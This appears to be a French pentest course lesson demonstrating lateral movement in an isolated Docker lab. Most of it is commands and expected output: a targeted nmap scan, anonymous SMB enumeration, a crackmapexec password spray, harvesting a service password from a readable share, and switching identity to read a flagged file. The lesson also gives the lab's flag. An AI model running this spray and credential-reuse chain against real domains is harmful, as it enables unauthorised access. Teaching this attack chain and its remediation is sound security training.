Aller au contenu principal

Mouvements latéraux — Démonstration guidée

La leçon 10.1 a posé le vocabulaire : pivot, tunnel, relay, impersonation. Ici, on n'ouvre ni ligolo-ng ni un Golden Ticket. On déroule la chaîne la plus fréquente d'un pentest interne en 2026 : un mot de passe saisonnier, un partage trop ouvert, un credential de service collé dans un README. Pas d'exploit. Juste une identité qui change.

Cette démonstration rejoue exactement le lab de l'atelier (labs/docker/module-10-mouvements-lateraux). L'atelier vous y met ensuite seul. Ici, chaque commande vient avec la sortie attendue et la phrase qui dit ce qu'elle prouve.

Lab isolé

Les deux conteneurs vivent sur 10.20.30.0/24. Aucun port AD n'est publié vers l'hôte. Toutes les commandes de cette leçon s'exécutent depuis le shell de m10-attaquant.

Ce que vous saurez faire​

  • Lire une signature de contrôleur de domaine sur un scan de ports ciblé, sans noyer le LAN.
  • Distinguer une énumération SMB anonyme d'une énumération authentifiée, et ce que chacune autorise.
  • Extraire un credential fuité dans un partage, puis le réutiliser pour ouvrir une ressource refusée à la première identité.
  • Qualifier le finding : ce n'est pas « SMB ouvert », c'est une chaîne à quatre maillons.

Mise en place​

cd inskillsec-docusaurus/labs/docker/module-10-mouvements-lateraux
docker compose up -d

Le premier boot du DC prend environ une minute : provision du domaine CORP.ACME.LOCAL, création des comptes, pose des deux partages. Le conteneur attaquant attend que dc01 soit healthy. Suivez la provision :

docker logs -f m10-dc01

Quand la ligne [m10] === Daemon en premier plan === apparaît, le domaine est prêt. Ouvrez le shell attaquant :

docker compose exec attaquant bash

Vous êtes sur Kali, en 10.20.30.5. La cible est dc01.corp.acme.local en 10.20.30.10. Le DNS du conteneur pointe déjà vers le DC : les résolutions dc01 et dc01.corp.acme.local fonctionnent sans /etc/hosts bricolé.

ÉlémentValeur
DomaineCORP.ACME.LOCAL (NetBIOS CORP)
Contrôleurdc01.corp.acme.local — 10.20.30.10
AttaquantKali — 10.20.30.5
Point de départaucun credential

La chaîne en un schéma​

Six sauts. Un seul compte faible au départ. La bascule vers svc_sql n'est pas une élévation kernel : c'est une impersonation obtenue par un fichier mal rangé.

Étape 1 — reconnaissance réseau​

Vous n'avez aucun mot de passe. Vous cartographiez le DC avec une liste de ports, pas un -p-. Un scan large sur un LAN d'entreprise casse des imprimantes ; ici, on cherche la signature d'un contrôleur de domaine.

nmap -Pn -p22,53,88,135,139,389,445,464,636,3268,3269 10.20.30.10

Sortie attendue :

Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for dc01.corp.acme.local (10.20.30.10)
Host is up (0.00080s latency).

PORT STATE SERVICE
22/tcp closed ssh
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl

Lecture. La combinaison 88 + 389 + 3268 + 445 n'est pas un serveur de fichiers ordinaire. Kerberos, LDAP et le catalogue global, c'est un DC. 22 fermé est normal : Samba AD n'ouvre pas SSH. Notez ces ports dans le rapport, c'est votre carte. Vous n'avez encore rien authentifié.

Pourquoi ces ports et pas un scan complet

Sur un /24 interne, l'apparition de Kerberos + LDAP + catalogue global dit « concentrez-vous ici ». SMB et le mapper RPC (135) s'ouvrent aussi sur beaucoup de Windows non-DC. C'est la conjonction qui tranche. Le -Pn évite un ping ICMP souvent filtré ; le DC répond quand même sur TCP.

Étape 2 — énumération SMB anonyme​

Avant le spray, demandez au service SMB ce qu'il montre à un client sans mot de passe. Ça ne donne pas encore de fichier. Ça donne une liste de noms.

smbclient -N -L //10.20.30.10

Sortie attendue (extraits) :

        Sharename       Type      Comment
--------- ---- -------
netlogon Disk Network Logon Service
sysvol Disk
team-notes Disk Notes internes de l'equipe support (lecture pour tous)
backups Disk Sauvegardes internes (acces reserve svc_sql)
IPC$ IPC IPC Service (Samba 4.19)

Lecture. Deux partages « métier » sortent déjà : team-notes et backups. Les commentaires Samba parlent tout seuls — un admin a écrit « lecture pour tous » et « accès réservé svc_sql ». Vous n'avez pas encore le droit de lire. Tentez quand même, pour poser le constat d'anonymat :

smbclient -N '//10.20.30.10/team-notes' -c 'ls'

Sortie attendue :

tree connect failed: NT_STATUS_ACCESS_DENIED

Le partage existe, il se voit, il refuse l'anonyme. Il faudra une identité de domaine. C'est précisément le rôle du spray.

Étape 3 — password spray​

Vous supposez trois comptes fréquents et trois mots de passe saisonniers. Pas une wordlist de 14 millions : un spray, c'est peu de mots contre plusieurs comptes, sous le seuil de verrouillage.

echo -e "alice\nbob\nsvc_sql" > /tmp/users.txt
echo -e "Summer2025!\nWinter2024!\nPassword1" > /tmp/passwords.txt

crackmapexec smb 10.20.30.10 \
-u /tmp/users.txt \
-p /tmp/passwords.txt \
--continue-on-success

Sortie attendue (les lignes utiles) :

SMB  10.20.30.10  445  DC01  [*] Windows 6.1 Build 0 (name:DC01) (domain:CORP) (signing:True) (SMBv1:False)
SMB 10.20.30.10 445 DC01 [-] CORP\alice:Summer2025! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [+] CORP\bob:Summer2025!
SMB 10.20.30.10 445 DC01 [-] CORP\svc_sql:Summer2025! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\alice:Winter2024! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\bob:Winter2024! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\svc_sql:Winter2024! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\alice:Password1 STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\bob:Password1 STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [+] CORP\svc_sql:Password1

Lecture. Les lignes [+] sont des authentifications réussies. Vous tenez au moins bob:Summer2025!. Le spray peut aussi afficher svc_sql:Password1 : Password1 est dans la petite wordlist. On ne saute pas pour autant à backups. En mission, ce mot n'est pas toujours dans votre liste. Le finding à documenter, c'est la fuite dans le partage. On continue donc avec bob, comme si svc_sql n'avait pas cédé.

Trois mots, pas une wordlist

--continue-on-success évite que l'outil s'arrête au premier compte. Il ne vous autorise pas à tester rockyou.txt contre le domaine. Au-delà de quelques candidats, vous verrouillez des comptes et l'admin voit le spray. Ici le lab est permissif ; un vrai AD ne l'est pas.

alice résiste aux trois candidats : leurre volontaire. Un spray qui trouve un compte sur trois, c'est déjà un premier accès. Sur certaines images Kali, crackmapexec s'appelle nxc : même binaire, même syntaxe.

Étape 4 — énumération des partages en tant que bob​

Même service SMB, autre identité. Demandez les droits réels, pas seulement les noms.

crackmapexec smb 10.20.30.10 -u bob -p 'Summer2025!' --shares

Sortie attendue :

SMB  10.20.30.10  445  DC01  [*] Enumerated shares
SMB 10.20.30.10 445 DC01 Share Permissions Remark
SMB 10.20.30.10 445 DC01 ----- ----------- ------
SMB 10.20.30.10 445 DC01 netlogon READ
SMB 10.20.30.10 445 DC01 sysvol READ
SMB 10.20.30.10 445 DC01 team-notes READ Notes internes de l'equipe support
SMB 10.20.30.10 445 DC01 backups Sauvegardes internes (acces reserve svc_sql)
SMB 10.20.30.10 445 DC01 IPC$
PartageDroits de bobCommentaire
sysvol / netlogonREADPartages AD standards, souvent vides ici
team-notesREADNotes d'équipe support — cible immédiate
backups(aucun)Refus. C'est la ressource finale

bob lit team-notes. bob ne lit pas backups. Le pivot, s'il existe, est dans le partage lisible. On n'attaque pas Kerberos tant qu'on n'a pas lu les fichiers d'équipe.

Étape 5 — lecture de team-notes​

smbclient '//10.20.30.10/team-notes' -U 'bob%Summer2025!' \
-c 'ls; mget *; exit'

smbclient demande confirmation avant chaque mget si vous omettez le -c. Avec -c, les deux fichiers arrivent dans le répertoire courant :

  README-Onboarding.txt               N    1540  ...
deploy-notes.md N 420 ...

Lisez-les.

cat README-Onboarding.txt
cat deploy-notes.md

Sortie attendue (passage utile de l'onboarding) :

2. Le SQL Server tourne sur dc01:1433. Si tu dois faire une extraction
pour la compta, connecte-toi avec le compte de service svc_sql. Le
mot de passe est "Password1" — on doit le changer depuis 2 ans mais
personne n a le temps, l acces au SQL est de toute facon interne.

3. Les sauvegardes nocturnes sont sur \\dc01\backups. svc_sql peut y
lire, pas ton compte perso.

deploy-notes.md répète le même couple svc_sql / Password1 dans une checklist de déploiement. Deux fichiers, une seule fuite.

Vous tenez le pivot : svc_sql:Password1.

Finding numéro 1 en 2026

Un mot de passe de service en clair dans un partage ouvert à tout utilisateur authentifié combine trois défauts : ACL trop large, rotation absente, onboarding par fichier partagé au lieu d'un coffre. Chacun doit apparaître comme une mesure corrective distincte. « Durcir SMB » ne corrige rien de tout ça.

Étape 6 — bascule d'identité vers svc_sql​

Même ressource, deux identités. Le refus puis l'accès prouvent que la latéralisation tient uniquement au compte, pas à un exploit.

smbclient '//10.20.30.10/backups' -U 'bob%Summer2025!' -c 'ls'

Sortie attendue :

NT_STATUS_ACCESS_DENIED listing \*

Puis :

smbclient '//10.20.30.10/backups' -U 'svc_sql%Password1' -c 'ls'

Sortie attendue :

  secret.txt                          N    2100  ...

bob est toujours authentifié sur le domaine. Il n'a simplement pas le droit. svc_sql l'a. Vous venez de latéraliser : nouvelle identité, nouvelle ressource, aucun binaire déposé sur le DC.

Vérifiez aussi les partages depuis svc_sql, pour le rapport :

crackmapexec smb 10.20.30.10 -u svc_sql -p 'Password1' --shares

backups passe en READ. Le flag est en lecture ; on n'écrit rien.

Étape 7 — lecture du flag​

smbclient '//10.20.30.10/backups' -U 'svc_sql%Password1' \
-c 'get secret.txt /tmp/flag.txt; exit'

cat /tmp/flag.txt

Le fichier raconte la chaîne que vous venez d'exécuter. La ligne qui compte :

Le drapeau que vous cherchez : FLAG-M10-CREDENTIAL-LEAK-CHAIN-2026

Flag attendu :

FLAG-M10-CREDENTIAL-LEAK-CHAIN-2026

Gardez le fichier. L'atelier demandera de le joindre au rapport rapport/lateralisation-m10.md.

Lire la sortie — ce que chaque signal vaut​

Trois phrases à pouvoir dire devant un client, sans jargon.

  1. Un DC se reconnaît à sa signature de ports, pas à son nom. 88 + 389 + 3268 suffisent. Le nom dc01 est un cadeau du lab ; en mission, le même motif apparaît sur SRV-ADS-01.
  2. Voir un partage n'est pas y entrer. L'anonyme liste team-notes et backups. Seule une identité de domaine ouvre le premier. Seul svc_sql ouvre le second. Documentez les trois niveaux : listé, lu, refusé.
  3. Le mouvement latéral n'exige pas un exploit. Ici, le saut tient à un README. En 10.1, Pass-the-Hash et le relay SMB font le même métier avec d'autres objets (hash, challenge). Le livrable est identique : une nouvelle identité, une nouvelle ressource.

Le lab ne démontre pas le Kerberoasting fonctionnel : Samba AD 4.19+ rejette les TGS d'Impacket (KRB_AP_ERR_INAPP_CKSUM). Les SPN restent visibles ; pour un vrai ticket, HackTheBox Forest ou TryHackMe Attacktive Directory.

Là où cela dérape​

  • dc01 n'est pas healthy. nmap sur 445 reste filtered ou host down. Relisez docker logs m10-dc01 : tant que [m10] === Daemon en premier plan === n'est pas là, le SMB n'écoute pas. Attendez, ou docker compose ps.
  • Summer2025! sans quotes. Le ! se fait manger par bash. Écrivez -p 'Summer2025!' ou -U 'bob%Summer2025!'.
  • crackmapexec introuvable. Tapez nxc — même outil, nouveau nom. La syntaxe --shares ne change pas.
  • mget interactif. Sans -c, smbclient pose Get file ...? pour chaque fichier. Répondez y, ou relancez avec -c 'lcd /tmp; prompt OFF; mget *; exit'.
  • get secret.txt /tmp/flag.txt échoue. Vous n'êtes pas en session svc_sql, ou le lcd pointe ailleurs. Vérifiez avec -c 'ls' d'abord.
  • Vous utilisez le mot de l'Administrator du README du lab. C'est tricher l'exercice. La démonstration part d'un accès réseau seul. Le compte admin existe pour que le DC tienne, pas pour servir de raccourci.

Ce qu'il faut retenir​

Le mouvement latéral de cette leçon tient en une phrase : une identité faible ouvre un partage trop large, qui livre une identité plus utile, qui ouvre la ressource visée. Vous n'avez posé aucun implant, aucun tunnel, aucun ticket forgé. En mission, cette chaîne se documente maillon par maillon — mot de passe saisonnier, partage Domain Users, secret en clair, compte de service sans rotation — parce que couper un maillon suffit à la casser.

L'atelier reprend le même lab, sans cette page ouverte. Vous rejouez les six étapes, vous rédigez le rapport, vous éteignez avec docker compose down -v.